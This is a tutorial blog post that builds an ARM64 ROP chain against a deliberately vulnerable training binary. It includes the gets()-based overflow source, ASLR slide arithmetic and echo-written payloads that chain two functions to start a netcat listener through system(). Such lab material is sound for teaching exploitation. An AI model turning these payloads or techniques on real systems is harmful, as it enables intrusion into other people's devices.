Avatar
I am Prateek Gianchandani. I have interests in Reverse Engineering, Mobile and Browser Security, and i am the founder of 8ksec. I hope you enjoy the content in this Blog.

ARM64 Reversing and Exploitation Part 3 - A Simple ROP Chain

Return-oriented programming (ROP) allows an attacker to execute code in the presence of security defenses such as executable space protection and code signing using ROP Gadgets. More details about ROP can be found here. In this blog post, we will be writing a ROP Chain for the rop binary. The binaries for this article can be found here.

Your task here is to call the function chain1 followed by chain2

SSH to your Corellium or iOS device and run the rop binary

$ rop

Run the rop command

./rop

1

Nothing much happnes, however on reversing the main function, we find that it also accepts an extra argument and tries to open a file with the name hax.bin if it gets that argument (argument could be anything). arg0 = argc here which is 2 if one argument is passed.

1

Sure enough, that’s what is happening if we look at the code.

int main(int argc, char **argv) {
    printf("Address of main function is %p\n", &main);
    printf("ROP chain challenge, call the function chain1 followed by chain2\n");
    char name[64];
    gets(name);
    if(argc == 2){
        FILE *f=fopen("hax.bin","rb");
        fseek(f,0,SEEK_END);
        size_t fs = ftell(f);
        fseek(f,0,SEEK_SET);
        fread(name, 1, fs, f);
    }
    printf("Hello %s\n",name);  
    return 0;
}

As mentioned in the challenge, our task is to call the function chain1 followed by chain2. Calling these functions in a chain will open a netcat listener on the device on port 4000.

void my_strcpy(char *dst, const char *src){
    while ((*(dst++) = *(src++)));
}

void chain1(){
    printf("Executing first chain.\n");
    my_strcpy(command,"nc -l 4000");
}

void chain2(){
    printf("Executing second chain.\n");
    system(command);
}

Anothing thing we must be aware of is the slide. The slide is essentially a random value added to the start address of the binary to make sure all the addresses are slid. This program has a deliberate information leak where it dumps out the address of the main function. We can find the slide by subtracting this address of the main function in the running binary and the address of the main function in Hopper.

let’s run the binary again with a random argument.

1

The address of the main function is 0x102693d50

and the address in the binary is 0x100007d50

1

We can find the slide by subtracting the addresses. You can use python or any hex calculator (for e.g https://www.calculator.net/hex-calculator.html) to subtract these addresses

>>> hex(0x102693d50 - 0x100007d50)
'0x268c000'

So the slide in this case is 0x268c000. Using this, we can find the actual address of the chain1 and the chain2 function. We just need to add the slide to their addresses.

It is important to note that the slide on each run will be different.

The idea here is to keep entering input that would overwrite the lr (link register). After some attempts, we find that the following input overwrites the lr (link register) by CCCCCCCC which is \x43\x43\x43\x43\x43\x43\x43\x43.

Create a hax.bin file in the same folder using the below command.

echo -ne "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x43\x43\x43\x43\x43\x43\x43\x43" > hax.bin

1

Run the rop binary again and press enter after entering any input. It will read the input from the hax.bin file we just created and crash.

Now we need to look at the crash logs. There are a couple of ways to look at them.

a) On your device , go to Settings -> Privacy -> Analytics and Improvements -> Analytics data and look at the latest crash log for the rop binary (the crash log with the highest number is the latest one)

We can see that the lr register is overwritten by 4343434343434343 which is all C

1

c) Another way is to look via Xcode if your device is connected to your laptop by going to Window -> Devices and Simulators -> Select your device on the left and click on Logs 1

c) Another way is to use the command line utility idevicecrashreport. Make sure you have the package libimobiledevice installed on your laptop.

Run the command idevicecrashreport . to move the crash logs to your computer and analyze them.

Anyways, so it’s pretty clear what we need to do. We need to overwrite the final part of the payload which is \x43\x43\x43\x43\x43\x43\x43\x43 with the address of the chain1 function. However, there is a tricky part here. On ARM64, the value of lr (x30) register is first stored on the stack and then taken off the stack. See image below.

1

We need to be able to control the x30 register (which is link register) once the function chain1 finishes execution. There seems to be no way to do that right now.

However, if we jump to the second instruction of chain1 function , we can trick the function into loading another value from the stack which might be controllable by us. Ofcourse, this is going to misalign the stack but we purposely want to misalign the stack in order to be able to pop next return address (x30) from the stack, which we can control, since we can smash the stack upwards as much as we want.

1

So to jump to the second instruction , whose address is 0x100007cdc in the binary, we need to first find the slid address in the binary by adding the slide.

Let’s run the binary again, this time the address of main function is 0x10023bd50 , which means the slide is calculated below

1

>>> hex(0x10023bd50 - 0x100007d50)
0x234000

Slid address of the second instruction of chain1 =

hex(0x100007cdc + 0x234000) = 0x10023bcdc or 0x000000010023bcdc

Let’s put this in our payload

echo -ne "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xdc\xbc\x23\x00\x01\x00\x00\x00" > hax.bin

Remove any previous hax.bin file also if any and create a new one as shown below.

1

Press enter on the running rop binary and you will see that the first chain gets executed. Nice, we are halfway there. Now we need to find a way to execute chain2 function.

1

Now we need to keep entering our payloads until we overwrite the lr again. We can then change the lr again to point to chain2 function.

After testing several times we come up with the following payload using which we are able to overwrite lr register again.

echo -ne "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x42\x42\x42\x42\x42\x42\x42\x42\x46\x46\x46\x46\x46\x46\x46\x46\x48\x48\x48\x48\x48\x48\x48\x48" > hax.bin
  • /x41 is the initial junk
  • /x42 should point to the initial lr register which we should set to the second instruction of the chain1 function
  • /x46 is junk as well
  • /x48 should point to the chain2 function

Ok, will all this information in place, we are now able to write our rop chain again.

Let’s run the program again. Address of main function is 0x1008b3d50 this time.

1

slide = hex(0x1008b3d50 - 0x100007d50) = 0x8ac000
slid address for second instruction of chain 1 = 
hex(0x8ac000 + 0x100007cdc) = 0x1008b3cdc or 0x00000001008b3cdc

slid address for chain2 function = 
hex(0x8ac000 + 0x100007d2c) = 0x1008b3d2c or 0x00000001008b3d2c

Using this info, we can now create our Rop chain

echo -ne "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xdc\x3c\x8b\x00\x01\x00\x00\x00\x46\x46\x46\x46\x46\x46\x46\x46\x2c\x3d\x8b\x00\x01\x00\x00\x00" > hax.bin

1

Press enter where the rop binary is running and Success, we can see that the second chain was executed and the application is still running, which means it opened a listening port on netcat.

1

all tags